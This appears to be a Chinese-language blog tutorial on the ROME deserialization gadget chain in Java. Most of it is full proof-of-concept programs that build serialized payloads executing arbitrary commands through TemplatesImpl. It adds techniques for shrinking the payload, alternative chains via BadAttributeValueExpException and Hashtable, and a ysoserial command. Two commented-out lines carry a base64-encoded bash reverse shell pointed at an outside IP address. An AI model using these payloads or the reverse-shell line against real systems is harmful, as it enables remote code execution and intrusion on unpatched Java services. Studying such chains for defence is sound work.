com.sun.syndication.feed.impl.ObjectBean
是Rome
提供的一个封装类型, 初始化时提供了一个Class
类型和一个Object
对象实例进行封装
他也有三个成员变量,分别是EqualsBean
、 ToStringBean
、CloneableBean
类,为ObjectBean
提供了equals
、toString
、clone
以及hashCode
方法
在ObjectBean#hashCode
中,调用了EqualsBean
类的beanHashCode
方法
这里调用了_obj成员变量的toString
方法,这里就是漏洞触发的地方了
com.sun.syndication.feed.impl.ToStringBean
是给对象提供toString
方法的类, 类中有两个toString
方法, 第一个是无参的方法, 获取调用链中上一个类或_obj
属性中保存对象的类名, 并调用第二个toString
方法. 在第二个toString
方法中, 会调用BeanIntrospector#getPropertyDescriptors
来获取_beanClass
的所有getter
和setter
方法, 接着判断参数的长度, 长度等于0
的方法会使用_obj
实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl
的利用链.
package ysoserial.vulndemo; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class Rome_POC { //序列化操作工具 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objOutput = new ObjectOutputStream(barr); objOutput.writeObject(obj); byte[] bytes = barr.toByteArray(); objOutput.close(); String bytesOfBase = Base64.getEncoder().encodeToString(bytes); return bytesOfBase; } //反序列化操作工具 public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException { byte[] bytes = Base64.getDecoder().decode(bytesOfBase); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream); objInput.readObject(); } //为类的属性设置值的工具 public static void setFieldVlue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } //payload的生成 public static void exp() throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { //生成恶意的bytecodes String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evilexp"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); //因为在TemplatesImp类中的构造函数中,_bytecodes为二维数组 byte[][] bytes1 = new byte[][]{bytes}; //创建TemplatesImpl类 TemplatesImpl templates = new TemplatesImpl(); setFieldVlue(templates, "_name", "RoboTerh"); setFieldVlue(templates, "_bytecodes", bytes1); setFieldVlue(templates, "_tfactory", new TransformerFactoryImpl()); //封装一个无害的类并放入Map中 ObjectBean roboTerh = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "RoboTerh")); HashMap hashmap = new HashMap(); hashmap.put(roboTerh, "RoboTerh"); //通过反射写入恶意类进入map中 ObjectBean objectBean = new ObjectBean(Templates.class, templates); setFieldVlue(roboTerh, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean)); //生成payload并输出 String payload = serialize(hashmap); System.out.println(payload); //触发payload,验证是否成功 unserialize(payload); } public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { exp(); } }
在unserialize方法中打上断点
在unserialize方法中的readObject方法中开始反序列化
跟进到了HashMap#readObject
之后就会求key值的hash,而且这个时候的Key是ObjectBean
类
之后在HashMap#hash
中,会调用key值得hashcode()方法
直接跳转进入ObjectBean#hashCode
,调用了他的属性_equalsBean
的beanHashCode方法
跟进EqualsBean#beanHashCode
方法,这里的_obj是ObjectBean
类的对象,调用了他的toString
方法
跟进ObjectBean#toString
方法,这里的_toStringBean
属性,是ToStringBean
类的对象,调用了他的toString
方法
之后跟进ToStringBean#toString
,这里获取了所有的getter和setter,然后判断参数长度调用了一些方法,当然包括了getOutputProperties
这个方法
后面的步骤就是TemplatesImpl
这个调用链了
getOutputProperties newTransformer getTransletInstance defineTransletClasses
所以他的调用链为:
HashMap.readObject() ObjectBean.hashCode() EqualsBean.beanHashCode() ObjectBean.toString() ToStringBean.toString() TemplatesImpl.getOutputProperties()
我们从这篇文章里面可以得到缩小payload的方法
文章提到三部分的缩小
TemplatesImpl
中_bytecodes
字节码的缩小STATIC
代码块)我们针对ROME链进行分析
在前面编写POC的时候对于TemplatesImpl可以进行优化操作
_name
名称可以是一个字符_tfactory
属性可以删除(分析TemplatesImpl
得出)EvilByteCodes
类捕获异常后无需处理所以优化之后为:
package ysoserial.vulndemo; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassVisitor; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.Opcodes; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class Rome_shorter2 { public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("a"); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make(" public a(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }", ctClass); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } //使用asm技术继续缩短 public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException { String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符 try { Files.write(Paths.get(path), bytes); } catch (IOException e) { e.printStackTrace(); } try { //asm删除LINENUMBER byte[] allBytes = Files.readAllBytes(Paths.get(path)); ClassReader classReader = new ClassReader(allBytes); ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES); int api = Opcodes.ASM9; ClassVisitor classVisitor = new shortClassVisitor(api, classWriter); int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; classReader.accept(classVisitor, parsingOptions); byte[] out = classWriter.toByteArray(); Files.write(Paths.get(path), out); } catch (IOException e) { e.printStackTrace(); } byte[] bytes1 = Files.readAllBytes(Paths.get("a.class")); //删除class文件 Files.delete(Paths.get("a.class")); return bytes1; } //因为ClassVisitor是抽象类,需要继承 public static class shortClassVisitor extends ClassVisitor{ private final int api; public shortClassVisitor(int api, ClassVisitor classVisitor){ super(api, classVisitor); this.api = api; } } //设置属性值 public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String serialize(Object obj) throws IOException { ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objOutput = new ObjectOutputStream(barr); objOutput.writeObject(obj); byte[] bytes = barr.toByteArray(); objOutput.close(); return Base64.getEncoder().encodeToString(bytes); } public static void unserialize(String code) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(code); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); //setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")}); setFieldValue(templates, "_bytecodes", new byte[][]{shorterTemplatesImpl(getTemplatesImpl("calc"))}); setFieldValue(templates, "_name", "a"); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); ObjectBean objectBean = new ObjectBean(String.class, "a"); HashMap hashMap = new HashMap(); hashMap.put(null, null); hashMap.put(objectBean, null); setFieldValue(objectBean, "_equalsBean", equalsBean); String s = serialize(hashMap); System.out.println("长度为:" + s.length()); System.out.println(s); unserialize(s); } }
上图是使用了
_name
仅为一个字符a, 删除了_tfactory
属性值,写入空参构造恶意方法LINENUMBER
指令给删掉同样,也可以不调用Runtime类来命令执行,使用new ProcessBuilder(new String[]{cmd}).start()更加能够缩短payload
那我们来看看不适用asm删除指令:
长度都已经大于2000了,所以说删除指令并不影响payload的执行且能达到命令执行的目的
我们知道,在ysoserial项目中的ROME链,主要的触发点就是ObjectBean
调用了toString()
方法,进而进入了TOStringBean
的toString()
方法,最后执行了getOutputProperties()这个getter方法,其他的链子中同样可以找到调用了toString方法的类,而且还比这条链子更加短
在这个类中的readObject
方法中
在这里我们读取ObjectInputStream
中的信息
后面通过.get方法得到val的属性值
之后通过一系列判断,进入到了valObj.toString()
方法中,而且这时候的valObj是ToStringBean类,成功触发了他的toString()
方法,到达了命令执行的目的
POC:
package ysoserial.vulndemo; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ToStringBean; import javassist.*; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class Rome_shorter3 { public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("Evil"); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }", ctClass); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } //设置属性值 public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String serialize(Object obj) throws IOException { ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objOutput = new ObjectOutputStream(barr); objOutput.writeObject(obj); byte[] bytes = barr.toByteArray(); objOutput.close(); return Base64.getEncoder().encodeToString(bytes); } public static void unserialize(String code) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(code); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")}); setFieldValue(templates, "_name", "a"); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); //防止生成payload的时候触发漏洞 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException, "val", toStringBean); String s = serialize(badAttributeValueExpException); System.out.println(s); System.out.println("长度为:" + s.length()); unserialize(s); } }
调用链:
BadAttributeValueExpException#readObject ToStringBean#toString TemplatesImpl#getOutputProperties .....
在这个类中存在有触发满足条件的getter得方法:
ToStringBean:
EqualsBean:
两个长得确实像
那到底是不是可以利用呢?
在这个类的equals
方法调用了beanEquals
方法
我们也知道在CC7的时候使用了equals
方法
在Hashtable#readObject
中
跟进Hashtable#reconstitutionPut
中
首先调用了key的hashcode方法,求他的hash值,之后在遍历,判断两个的hash值是否相等,如果相等之后才会触发到equals方法
我们就需要两个求hash相等的键:yy / zZ
就是相等的
然后怎么调用equals方法呢?
我们来到他的equals
方法中
如果这里的value为EqualsBean
,而且这里的e.getValue
是TemplateImpl对象这样就能够构造出利用链了
至于HashMap对象求hash值,hashMap 的hashCode 是遍历所有的元素,然后调用hashCode后相加,hashCode的值是key和value的hashCode异或
所以('yy',obj); 是等于put('zZ',obj)
则POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; public class RomeShorter{ //缩短TemplatesImpl链 public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("Evil"); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }", ctClass); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } //设置属性值 public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String serialize(Object obj) throws IOException { ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objOutput = new ObjectOutputStream(barr); objOutput.writeObject(obj); byte[] bytes = barr.toByteArray(); objOutput.close(); return Base64.getEncoder().encodeToString(bytes); } public static void unserialize(String code) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(code); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); //setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")}); setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")}); setFieldValue(templates, "_name", "a"); EqualsBean bean = new EqualsBean(String.class,"s"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",bean); map1.put("zZ",templates); map2.put("zZ",bean); map2.put("yy",templates); Hashtable table = new Hashtable(); table.put(map1,"1"); table.put(map2,"2"); setFieldValue(bean,"_beanClass",Templates.class); setFieldValue(bean,"_obj",templates); String s = serialize(table); System.out.println(s); System.out.println(s.length()); unserialize(s); } }
长度为1520
那如果我们使用ASM删除指令呢?
//asm public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException { String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符 try { Files.write(Paths.get(path), bytes); } catch (IOException e) { e.printStackTrace(); } try { //asm删除LINENUMBER byte[] allBytes = Files.readAllBytes(Paths.get(path)); ClassReader classReader = new ClassReader(allBytes); ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES); int api = Opcodes.ASM9; ClassVisitor classVisitor = new Rome_shorter2.shortClassVisitor(api, classWriter); int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; classReader.accept(classVisitor, parsingOptions); byte[] out = classWriter.toByteArray(); Files.write(Paths.get(path), out); } catch (IOException e) { e.printStackTrace(); } byte[] bytes1 = Files.readAllBytes(Paths.get("a.class")); //删除class文件 Files.delete(Paths.get("a.class")); return bytes1; } //因为ClassVisitor是抽象类,需要继承 public static class shortClassVisitor extends ClassVisitor{ private final int api; public shortClassVisitor(int api, ClassVisitor classVisitor){ super(api, classVisitor); this.api = api; } }
成功弹出了计算器,并且长度缩短为了1444
使用ysoserial工具生成POC
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ROME 'calc'|base64
Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin | 素十八 (su18.org)